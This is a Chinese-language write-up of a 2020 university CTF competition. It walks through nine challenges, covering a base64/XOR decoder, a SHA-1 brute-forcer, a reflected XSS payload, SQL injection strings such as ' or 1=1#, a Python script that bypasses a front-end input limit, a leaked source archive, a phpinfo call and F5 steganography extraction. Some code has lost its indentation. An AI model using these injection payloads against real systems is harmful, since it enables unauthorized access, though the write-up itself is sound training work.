2020-10-31
厦门大学奇安信杯 CTF 校赛 Writeup
0x01 Crypto_base64
根据所给的加密代码编写对应的解密代码decode3
、decode2
、decode1
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41 | import base64
def encode3(code):
return base64.b32encode(code)
def decode3(code):
return base64.b32decode(code)
def encode2(code):
res = ''
for i in code:
x = ord(i) + 31
x = x ^ 31
res += chr(x)
return res
def decode2(code):
res = ''
for i in code:
x = i ^ 31
x -= 31
res += chr(x)
return res
def encode1(code):
res = ''
for i in code:
x = i ^ 31
x = x + 24
res += chr(x)
return res
def decode1(code):
res = ''
for i in code:
x = ord(i) - 24
x = x ^ 31
res += chr(x)
return res
print(decode1(decode2(decode3('V622VMEEVWVEC7FMPV7265VLPN7X25T5V2XKW5VLVZBKY5TZPN4UA7CBIKX2U6NKVODA===='))))
|
运行后,根据所给代码的加密后的内容作为输入,得到 flag:
| flag{da83c46f-b264-4eeb-be9c-0207389fa0ab}
|
0x02 easy_Hash
根据所给的哈希文本长度,可知是SHA-1
算法,因此编写如下程序爆破:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 | import hashlib
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-/"
passwd = '*ha*i*_go*d'
sha = '2aa90dc*46aa5d0*baedc4a*13e4c0a6*91bf6*2'
for c1 in dic:
for c2 in dic:
for c3 in dic:
for c4 in dic:
passwd = c1 + 'ha' + c2 + 'i' + c3 + '_go' + c4 + 'd'
sha_ = hashlib.sha1(passwd.encode('ascii')).hexdigest()
if sha[:7] == sha_[:7]:
print(sha_)
print(passwd)
|
爆破程序很快输出:
检验后,其哈希值和所给吻合,因此 flag 为
0x03 easy_web1
XSS。根据源代码可知,如果触发 alert 事件,会跳转到p098sjw8.php
页面,然而直接访问p098sjw8.php
并不能获得 Flag,因为我们的请求带有Referer
字段。必须成功触发xss.php
页面的 XSS 的 Payload 的Referer
才可以获得 flag,因此根据提示输入:
| http://210.34.0.245:38801/xss.php?name=<script>alert(1)</script>
|
即可获得 flag:
| flag{ko0b5red-sno7-9w44-b578-3dg1sadwbt11}
|
> 注:这道题出的很不友好,之前输入的时候多了一个分号alert(1);
,导致虽然成功触发 XSS,但是一直没有通过。之后的一道 Web XSS 题也是如此。
0x04 easy_sql_web3
SQL 注入。尝试使 SQL 语句条件为真:
直接获得如下内容
| Username: admin Hash: 97ba669af0995323ac044a5d4568766c
Username: 1dkaia Hash: KEY{3er5p6db152bf9bbf408d3b15fadbed9}
|
故 flag 为
| KEY{3er5p6db152bf9bbf408d3b15fadbed9}
|
0x05 easy_web5
源代码泄露。根据不断地尝试,发现下述文件的源代码泄露:
http://210.34.0.245:38805/www.tar
下载后解压:
| tar -xvf www.tar
cat flag
|
即可获得 flag:
| flag{nhtn4ys4-uaab-x8k1-dt8h-2i542ou1l9f4}
|
0x06 web4
还是 SQL 注入。
一开始看到密码为 5 位,尝试各种暴力破解,未果。之后考虑 SQL 注入。由于输入长度限制只在前端,因此可以直接编写脚本绕过限制:
| import requests
res = requests.post("http://210.34.0.245:38804/",
data={'user': 'admin', 'pass': "' or 1=1#"})
print(res.text)
|
这里还是使用了和 easy_sql_web3 同样的简单的注入 Payload:' or 1=1 #
,直接获得 flag:
| flag{9xmd51ak-ruya-t76t-o0up-hpged8dy9fz2}
|
0x07 php web6
源码泄露。发现 Robots.txt:http://210.34.0.245:38806/robots.txt ,内容为
| User-agent: *
Disallow: /index.php1
|
因此进入 http://210.34.0.245:38806/index.php1 ,发现主页源代码。根据源代码,需要构造一个可执行的不带参数的 PHP 函数,因此自然想到phpinfo
:
| http://210.34.0.245:38806/?ctf=phpinfo
|
进入 phpinfo 界面,全文搜索KEY
,发现 flag:
0x08 magical F5
根据题意可知,为 F5 隐写。
使用 F5-steganography 隐写工具,经过尝试后,猜测密码为 123456,因此通过
| cd F5-steganography
java Extract ../2.webp -p 123456
cat output.txt
|
在output.txt
文件中即可获得 flag:
| flag{a8b2cad0-0786-4a96-ae1a-1d60e3d2cf5e}
|
0x09 签到题
打开 txt 文件,猜测为十六进制密码,十六进制转字符串,获得 flag:
| 恭喜这位同学拿到了 flag,成功入门:flag{9kbe2yx5-t1v5-rry5-psqa-ij0vo5fm0ymf}
|